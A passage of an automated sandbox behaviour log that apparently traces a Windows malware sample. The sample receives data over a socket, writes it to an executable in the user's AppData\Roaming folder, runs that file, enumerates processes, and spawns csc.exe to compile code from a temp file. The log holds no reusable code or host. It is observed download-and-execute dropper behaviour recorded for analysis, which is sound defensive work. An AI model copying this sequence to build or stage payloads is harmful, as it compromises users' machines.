nNumberOfBytesToWrite=0x2238, lpNumberOfBytesWritten=0x1c99e288, lpOverlapped=0x0 | out: lpBuffer=0x309aa38*, lpNumberOfBytesWritten=0x1c99e288*=0x2238, lpOverlapped=0x0) returned 1 [0057.930] recv (in: s=0x4e0, buf=0x309aa38, len=65536, flags=0 | out: buf=0x309aa38*) returned 23360 [0058.276] WriteFile (in: hFile=0x3a4, lpBuffer=0x309aa38*, nNumberOfBytesToWrite=0x5b40, lpNumberOfBytesWritten=0x1c99e288, lpOverlapped=0x0 | out: lpBuffer=0x309aa38*, lpNumberOfBytesWritten=0x1c99e288*=0x5b40, lpOverlapped=0x0) returned 1 [0058.278] recv (in: s=0x4e0, buf=0x309aa38, len=65536, flags=0 | out: buf=0x309aa38*) returned 64240 [0058.956] WriteFile (in: hFile=0x3a4, lpBuffer=0x309aa38*, nNumberOfBytesToWrite=0xfaf0, lpNumberOfBytesWritten=0x1c99e288, lpOverlapped=0x0 | out: lpBuffer=0x309aa38*, lpNumberOfBytesWritten=0x1c99e288*=0xfaf0, lpOverlapped=0x0) returned 1 [0058.957] recv (in: s=0x4e0, buf=0x309aa38, len=65536, flags=0 | out: buf=0x309aa38*) returned 26280 [0058.958] WriteFile (in: hFile=0x3a4, lpBuffer=0x309aa38*, nNumberOfBytesToWrite=0x66a8, lpNumberOfBytesWritten=0x1c99e288, lpOverlapped=0x0 | out: lpBuffer=0x309aa38*, lpNumberOfBytesWritten=0x1c99e288*=0x66a8, lpOverlapped=0x0) returned 1 [0058.958] recv (in: s=0x4e0, buf=0x309aa38, len=65536, flags=0 | out: buf=0x309aa38*) returned 65536 [0059.755] WriteFile (in: hFile=0x3a4, lpBuffer=0x309aa38*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x1c99e288, lpOverlapped=0x0 | out: lpBuffer=0x309aa38*, lpNumberOfBytesWritten=0x1c99e288*=0x10000, lpOverlapped=0x0) returned 1 [0059.756] recv (in: s=0x4e0, buf=0x309aa38, len=65536, flags=0 | out: buf=0x309aa38*) returned 6004 [0059.756] WriteFile (in: hFile=0x3a4, lpBuffer=0x309aa38*, nNumberOfBytesToWrite=0x1774, lpNumberOfBytesWritten=0x1c99e288, lpOverlapped=0x0 | out: lpBuffer=0x309aa38*, lpNumberOfBytesWritten=0x1c99e288*=0x1774, lpOverlapped=0x0) returned 1 [0059.756] recv (in: s=0x4e0, buf=0x309aa38, len=65536, flags=0 | out: buf=0x309aa38*) returned 65536 [0060.050] WriteFile (in: hFile=0x3a4, lpBuffer=0x309aa38*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x1c99e288, lpOverlapped=0x0 | out: lpBuffer=0x309aa38*, lpNumberOfBytesWritten=0x1c99e288*=0x10000, lpOverlapped=0x0) returned 1 [0060.051] recv (in: s=0x4e0, buf=0x309aa38, len=65536, flags=0 | out: buf=0x309aa38*) returned 6004 [0060.051] WriteFile (in: hFile=0x3a4, lpBuffer=0x309aa38*, nNumberOfBytesToWrite=0x1774, lpNumberOfBytesWritten=0x1c99e288, lpOverlapped=0x0 | out: lpBuffer=0x309aa38*, lpNumberOfBytesWritten=0x1c99e288*=0x1774, lpOverlapped=0x0) returned 1 [0060.051] recv (in: s=0x4e0, buf=0x309aa38, len=65536, flags=0 | out: buf=0x309aa38*) returned 40880 [0060.455] WriteFile (in: hFile=0x3a4, lpBuffer=0x309aa38*, nNumberOfBytesToWrite=0x9fb0, lpNumberOfBytesWritten=0x1c99e288, lpOverlapped=0x0 | out: lpBuffer=0x309aa38*, lpNumberOfBytesWritten=0x1c99e288*=0x9fb0, lpOverlapped=0x0) returned 1 [0060.455] recv (in: s=0x4e0, buf=0x309aa38, len=65536, flags=0 | out: buf=0x309aa38*) returned 17520 [0060.455] WriteFile (in: hFile=0x3a4, lpBuffer=0x309aa38*, nNumberOfBytesToWrite=0x4470, lpNumberOfBytesWritten=0x1c99e288, lpOverlapped=0x0 | out: lpBuffer=0x309aa38*, lpNumberOfBytesWritten=0x1c99e288*=0x4470, lpOverlapped=0x0) returned 1 [0060.456] recv (in: s=0x4e0, buf=0x309aa38, len=65536, flags=0 | out: buf=0x309aa38*) returned 46720 [0061.040] WriteFile (in: hFile=0x3a4, lpBuffer=0x309aa38*, nNumberOfBytesToWrite=0xb680, lpNumberOfBytesWritten=0x1c99e288, lpOverlapped=0x0 | out: lpBuffer=0x309aa38*, lpNumberOfBytesWritten=0x1c99e288*=0xb680, lpOverlapped=0x0) returned 1 [0061.041] recv (in: s=0x4e0, buf=0x309aa38, len=65536, flags=0 | out: buf=0x309aa38*) returned 17520 [0061.041] WriteFile (in: hFile=0x3a4, lpBuffer=0x309aa38*, nNumberOfBytesToWrite=0x4470, lpNumberOfBytesWritten=0x1c99e288, lpOverlapped=0x0 | out: lpBuffer=0x309aa38*, lpNumberOfBytesWritten=0x1c99e288*=0x4470, lpOverlapped=0x0) returned 1 [0061.042] recv (in: s=0x4e0, buf=0x309aa38, len=65536, flags=0 | out: buf=0x309aa38*) returned 46720 [0061.346] WriteFile (in: hFile=0x3a4, lpBuffer=0x309aa38*, nNumberOfBytesToWrite=0xb680, lpNumberOfBytesWritten=0x1c99e288, lpOverlapped=0x0 | out: lpBuffer=0x309aa38*, lpNumberOfBytesWritten=0x1c99e288*=0xb680, lpOverlapped=0x0) returned 1 [0061.347] recv (in: s=0x4e0, buf=0x309aa38, len=65536, flags=0 | out: buf=0x309aa38*) returned 64240 [0061.685] WriteFile (in: hFile=0x3a4, lpBuffer=0x309aa38*, nNumberOfBytesToWrite=0xfaf0, lpNumberOfBytesWritten=0x1c99e288, lpOverlapped=0x0 | out: lpBuffer=0x309aa38*, lpNumberOfBytesWritten=0x1c99e288*=0xfaf0, lpOverlapped=0x0) returned 1 [0061.686] recv (in: s=0x4e0, buf=0x309aa38, len=65536, flags=0 | out: buf=0x309aa38*) returned 23360 [0061.686] WriteFile (in: hFile=0x3a4, lpBuffer=0x309aa38*, nNumberOfBytesToWrite=0x5b40, lpNumberOfBytesWritten=0x1c99e288, lpOverlapped=0x0 | out: lpBuffer=0x309aa38*, lpNumberOfBytesWritten=0x1c99e288*=0x5b40, lpOverlapped=0x0) returned 1 [0061.687] recv (in: s=0x4e0, buf=0x309aa38, len=65536, flags=0 | out: buf=0x309aa38*) returned 65536 [0062.128] WriteFile (in: hFile=0x3a4, lpBuffer=0x309aa38*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x1c99e288, lpOverlapped=0x0 | out: lpBuffer=0x309aa38*, lpNumberOfBytesWritten=0x1c99e288*=0x10000, lpOverlapped=0x0) returned 1 [0062.129] recv (in: s=0x4e0, buf=0x309aa38, len=65536, flags=0 | out: buf=0x309aa38*) returned 6004 [0062.129] WriteFile (in: hFile=0x3a4, lpBuffer=0x309aa38*, nNumberOfBytesToWrite=0x1774, lpNumberOfBytesWritten=0x1c99e288, lpOverlapped=0x0 | out: lpBuffer=0x309aa38*, lpNumberOfBytesWritten=0x1c99e288*=0x1774, lpOverlapped=0x0) returned 1 [0062.129] recv (in: s=0x4e0, buf=0x309aa38, len=65536, flags=0 | out: buf=0x309aa38*) returned 33580 [0062.290] WriteFile (in: hFile=0x3a4, lpBuffer=0x309aa38*, nNumberOfBytesToWrite=0x832c, lpNumberOfBytesWritten=0x1c99e288, lpOverlapped=0x0 | out: lpBuffer=0x309aa38*, lpNumberOfBytesWritten=0x1c99e288*=0x832c, lpOverlapped=0x0) returned 1 [0062.291] recv (in: s=0x4e0, buf=0x309aa38, len=65536, flags=0 | out: buf=0x309aa38*) returned 2920 [0062.291] recv (in: s=0x4e0, buf=0x309aa38, len=65536, flags=0 | out: buf=0x309aa38*) returned 65536 [0062.687] WriteFile (in: hFile=0x3a4, lpBuffer=0x30aaaf0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x1c99e228, lpOverlapped=0x0 | out: lpBuffer=0x30aaaf0*, lpNumberOfBytesWritten=0x1c99e228*=0x1000, lpOverlapped=0x0) returned 1 [0062.687] WriteFile (in: hFile=0x3a4, lpBuffer=0x309aed0*, nNumberOfBytesToWrite=0xfb68, lpNumberOfBytesWritten=0x1c99e288, lpOverlapped=0x0 | out: lpBuffer=0x309aed0*, lpNumberOfBytesWritten=0x1c99e288*=0xfb68, lpOverlapped=0x0) returned 1 [0062.689] recv (in: s=0x4e0, buf=0x309aa38, len=37137, flags=0 | out: buf=0x309aa38*) returned 7464 [0062.689] WriteFile (in: hFile=0x3a4, lpBuffer=0x309aa38*, nNumberOfBytesToWrite=0x1d28, lpNumberOfBytesWritten=0x1c99e288, lpOverlapped=0x0 | out: lpBuffer=0x309aa38*, lpNumberOfBytesWritten=0x1c99e288*=0x1d28, lpOverlapped=0x0) returned 1 [0062.689] recv (in: s=0x4e0, buf=0x309aa38, len=29673, flags=0 | out: buf=0x309aa38*) returned 29673 [0062.883] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\z79473a.exe", nBufferLength=0x105, lpBuffer=0x1c99d9c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\z79473a.exe", lpFilePart=0x0) returned 0x2d [0062.883] SetErrorMode (uMode=0x1) returned 0x1 [0062.883] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\z79473a.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\z79473a.exe"), fInfoLevelId=0x0, lpFileInformation=0x1c99dc20 | out: lpFileInformation=0x1c99dc20*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb9a7160, ftCreationTime.dwHighDateTime=0x1d4c1ea, ftLastAccessTime.dwLowDateTime=0xbb9a7160, ftLastAccessTime.dwHighDateTime=0x1d4c1ea, ftLastWriteTime.dwLowDateTime=0xc33a58e0, ftLastWriteTime.dwHighDateTime=0x1d4c1ea, nFileSizeHigh=0x0, nFileSizeLow=0xd6a45)) returned 1 [0062.883] SetErrorMode (uMode=0x1) returned 0x1 [0062.884] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\z79473a.exe", nBufferLength=0x105, lpBuffer=0x1c99dfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\z79473a.exe", lpFilePart=0x0) returned 0x2d [0062.884] SetErrorMode (uMode=0x1) returned 0x1 [0062.884] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\z79473a.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\z79473a.exe"), fInfoLevelId=0x0, lpFileInformation=0x1c99e1c0 | out: lpFileInformation=0x1c99e1c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb9a7160, ftCreationTime.dwHighDateTime=0x1d4c1ea, ftLastAccessTime.dwLowDateTime=0xbb9a7160, ftLastAccessTime.dwHighDateTime=0x1d4c1ea, ftLastWriteTime.dwLowDateTime=0xc33a58e0, ftLastWriteTime.dwHighDateTime=0x1d4c1ea, nFileSizeHigh=0x0, nFileSizeLow=0xd6a45)) returned 1 [0062.884] SetErrorMode (uMode=0x1) returned 0x1 [0062.884] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\z79473a.exe", nBufferLength=0x105, lpBuffer=0x1c99df30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\z79473a.exe", lpFilePart=0x0) returned 0x2d [0062.884] SetErrorMode (uMode=0x1) returned 0x1 [0062.884] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\z79473a.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\z79473a.exe"), fInfoLevelId=0x0, lpFileInformation=0x1c99e140 | out: lpFileInformation=0x1c99e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb9a7160, ftCreationTime.dwHighDateTime=0x1d4c1ea, ftLastAccessTime.dwLowDateTime=0xbb9a7160, ftLastAccessTime.dwHighDateTime=0x1d4c1ea, ftLastWriteTime.dwLowDateTime=0xc33a58e0, ftLastWriteTime.dwHighDateTime=0x1d4c1ea, nFileSizeHigh=0x0, nFileSizeLow=0xd6a45)) returned 1 [0062.884] SetErrorMode (uMode=0x1) returned 0x1 [0062.885] CoTaskMemAlloc (cb=0x104) returned 0x3d8030 [0062.885] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d8030, nSize=0x80 | out: lpBuffer="") returned 0x0 [0062.885] CoTaskMemFree (pv=0x3d8030) [0062.886] CoTaskMemAlloc (cb=0x104) returned 0x3d8030 [0062.886] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d8030, nSize=0x80 | out: lpBuffer="") returned 0x0 [0062.886] CoTaskMemFree (pv=0x3d8030) [0062.939] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x105, lpBuffer=0x1c99db30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x0) returned 0x19 [0062.939] SetErrorMode (uMode=0x1) returned 0x1 [0062.939] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x1c99dd90 | out: lpFileInformation=0x1c99dd90*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2335d4a0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xb3e51d80, ftLastAccessTime.dwHighDateTime=0x1d4c1ea, ftLastWriteTime.dwLowDateTime=0xb3e51d80, ftLastWriteTime.dwHighDateTime=0x1d4c1ea, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0062.939] SetErrorMode (uMode=0x1) returned 0x1 [0062.939] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x105, lpBuffer=0x1c99db30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x0) returned 0x19 [0062.939] SetErrorMode (uMode=0x1) returned 0x1 [0062.939] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x1c99dd90 | out: lpFileInformation=0x1c99dd90*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2335d4a0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xb3e51d80, ftLastAccessTime.dwHighDateTime=0x1d4c1ea, ftLastWriteTime.dwLowDateTime=0xb3e51d80, ftLastWriteTime.dwHighDateTime=0x1d4c1ea, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0062.940] SetErrorMode (uMode=0x1) returned 0x1 [0062.944] RtlMoveMemory (in: Destination=0x1ba50700, Source=0x30ef500, Length=0x5c | out: Destination=0x1ba50700) [0062.944] LocalAlloc (uFlags=0x0, uBytes=0x34) returned 0x1ba3a960 [0062.944] RtlMoveMemory (in: Destination=0x1ba3a960, Source=0x30f9288, Length=0x34 | out: Destination=0x1ba3a960) [0063.235] NtQueryInformationProcess (in: ProcessHandle=0x5c8, ProcessInformationClass=0x0, ProcessInformation=0x30f9b70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x30f9b70, ReturnLength=0x0) returned 0x0 [0063.236] EnumProcesses (in: lpidProcess=0x30f9bb8, cb=0x400, lpcbNeeded=0x1c99e5f0 | out: lpidProcess=0x30f9bb8, lpcbNeeded=0x1c99e5f0) returned 1 [0063.237] CoUninitialize () Thread: id = 35 os_tid = 0xae4 Thread: id = 36 os_tid = 0xae8 Thread: id = 37 os_tid = 0xaec [0049.374] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0049.377] ResetEvent (hEvent=0x30c) returned 1 Thread: id = 97 os_tid = 0xba0 [0062.947] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0062.953] ShellExecuteExW (in: pExecInfo=0x30f9870*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="C:\\Users\\aETAdzjz\\AppData\\Roaming\\z79473a.exe", lpParameters=0x0, lpDirectory="C:\\Users\\aETAdzjz\\Desktop", nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x30f9870*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="C:\\Users\\aETAdzjz\\AppData\\Roaming\\z79473a.exe", lpParameters=0x0, lpDirectory="C:\\Users\\aETAdzjz\\Desktop", nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x5c8)) returned 1 [0063.127] CoGetContextToken (in: pToken=0x1cdaf810 | out: pToken=0x1cdaf810) returned 0x0 [0063.127] CoUninitialize () Thread: id = 99 os_tid = 0xbac [0063.302] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0063.303] SetThreadUILanguage (LangId=0x0) returned 0x7fffff00409 [0063.304] VirtualQuery (in: lpAddress=0x1d80db60, lpBuffer=0x1d80ea20, dwLength=0x30 | out: lpBuffer=0x1d80ea20*(BaseAddress=0x1d80d000, AllocationBase=0x1ce80000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x1000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0063.304] VirtualQuery (in: lpAddress=0x1d80de10, lpBuffer=0x1d80ecd0, dwLength=0x30 | out: lpBuffer=0x1d80ecd0*(BaseAddress=0x1d80d000, AllocationBase=0x1ce80000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0063.311] SetEvent (hEvent=0x560) returned 1 [0063.311] SetEvent (hEvent=0x55c) returned 1 [0063.311] SetEvent (hEvent=0x570) returned 1 [0063.311] SetEvent (hEvent=0x560) returned 1 [0063.311] SetEvent (hEvent=0x55c) returned 1 [0063.311] SetEvent (hEvent=0x5d0) returned 1 [0063.311] SetEvent (hEvent=0x5c4) returned 1 [0063.311] SetEvent (hEvent=0x584) returned 1 [0063.311] SetEvent (hEvent=0x5cc) returned 1 [0063.311] SetEvent (hEvent=0x5d4) returned 1 [0063.311] CoUninitialize () Process: id = "3" image_name = "csc.exe" filename = "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\csc.exe" page_root = "0x14e83000" os_pid = "0xacc" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0xa00" cmd_line = "\"C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\csc.exe\" /noconfig /fullpaths @\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\atsamxnv.cmdline\"" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e7e8" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 692 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 693 start_va = 0x30000 end_va = 0x12ffff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 694 start_va = 0x130000 end_va = 0x133fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000130000" filename = "" Region: id = 695 start_va = 0x400000 end_va = 0x418fff entry_point = 0x400000 region_type = mapped_file name = "csc.exe" filename = "\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\csc.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\csc.exe") Region: id = 696 start_va = 0x775e0000 end_va = 0x77788fff entry_point = 0x775e0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 697 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 698 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 699 start_va = 0x7feff900000 end_va = 0x7feff900fff entry_point = 0x7feff900000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 700 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 701 start_va = 0x7fffffd9000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 702 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 703 start_va = 0x140000 end_va = 0x140fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 704 start_va = 0x2d0000 end_va = 0x3cffff entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 705 start_va = 0x773c0000 end_va = 0x774defff entry_point = 0x773c0000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 706 start_va = 0x7fefd6e0000 end_va = 0x7fefd74afff entry_point = 0x7fefd6e0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 707 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 708 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 709 start_va = 0x150000 end_va = 0x1b6fff entry_point = 0x150000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 710 start_va = 0x1c0000 end_va = 0x1c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 711 start_va = 0x1d0000 end_va = 0x2cffff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 712 start_va = 0x460000 end_va = 0x46ffff entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 713 start_va = 0x470000 end_va = 0x56ffff entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 714 start_va = 0x5b0000 end_va = 0x5bffff entry_point = 0x0 region_type = private name = "private_0x00000000005b0000" filename = "" Region: id = 715 start_va = 0x74e60000 end_va = 0x74f28fff entry_point = 0x74e60000 region_type = mapped_file name = "msvcr80.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_88e41e092fab0294\\msvcr80.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_88e41e092fab0294\\msvcr80.dll") Region: id = 716 start_va = 0x774e0000 end_va = 0x775d9fff entry_point = 0x774e0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 717 start_va = 0x777a0000 end_va = 0x777a6fff entry_point = 0x777a0000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 718 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 719 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 720 start_va = 0x538000000 end_va = 0x5381e8fff entry_point = 0x538000000 region_type = mapped_file name = "cscomp.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\cscomp.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\cscomp.dll") Region: id = 721 start_va = 0x7fef2ea0000 end_va = 0x7fef2f0efff entry_point = 0x7fef2ea0000 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 722 start_va = 0x7fefda80000 end_va = 0x7fefdbacfff entry_point = 0x7fefda80000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 723 start_va = 0x7fefdce0000 end_va = 0x7fefdcedfff entry_point = 0x7fefdce0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 724 start_va = 0x7fefdcf0000 end_va = 0x7fefdd60fff entry_point = 0x7fefdcf0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 725 start_va = 0x7fefdd70000 end_va = 0x7fefde38fff entry_point = 0x7fefdd70000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 726 start_va = 0x7fefed90000 end_va = 0x7fefee6afff entry_point = 0x7fefed90000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 727 start_va = 0x7fefee70000 end_va = 0x7feff072fff entry_point = 0x7fefee70000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 728 start_va = 0x7feff2e0000 end_va = 0x7feff37efff entry_point = 0x7feff2e0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 729 start_va = 0x7feff380000 end_va = 0x7feff456fff entry_point = 0x7feff380000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 730 start_va = 0x7feff540000 end_va = 0x7feff5a6fff entry_point = 0x7feff540000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 731 start_va = 0x7feff830000 end_va = 0x7feff84efff entry_point = 0x7feff830000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 732 start_va = 0x3d0000 end_va = 0x3d0fff entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 733 start_va = 0x3e0000 end_va = 0x3e0fff entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 734 start_va = 0x3f0000 end_va = 0x3fffff entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 735 start_va = 0x420000 end_va = 0x442fff entry_point = 0x420000 region_type = mapped_file name = "cscompui.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\1033\\cscompui.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\1033\\cscompui.dll") Region: id = 736 start_va = 0x5c0000 end_va = 0x6bffff entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 737 start_va = 0x7e0000 end_va = 0x85ffff entry_point = 0x0 region_type = private name = "private_0x00000000007e0000" filename = "" Region: id = 738 start_va = 0x860000 end_va = 0x9e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000860000" filename = "" Region: id = 739 start_va = 0x9f0000 end_va = 0xb70fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009f0000" filename = "" Region: id = 740 start_va = 0xb80000 end_va = 0x1f7ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b80000" filename = "" Region: id = 741 start_va = 0x7fee5c80000 end_va = 0x7fee5d18fff entry_point = 0x7fee5c80000 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 742 start_va = 0x7fefc6f0000 end_va = 0x7fefc6fbfff entry_point = 0x7fefc6f0000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 743 start_va = 0x7fefd970000 end_va 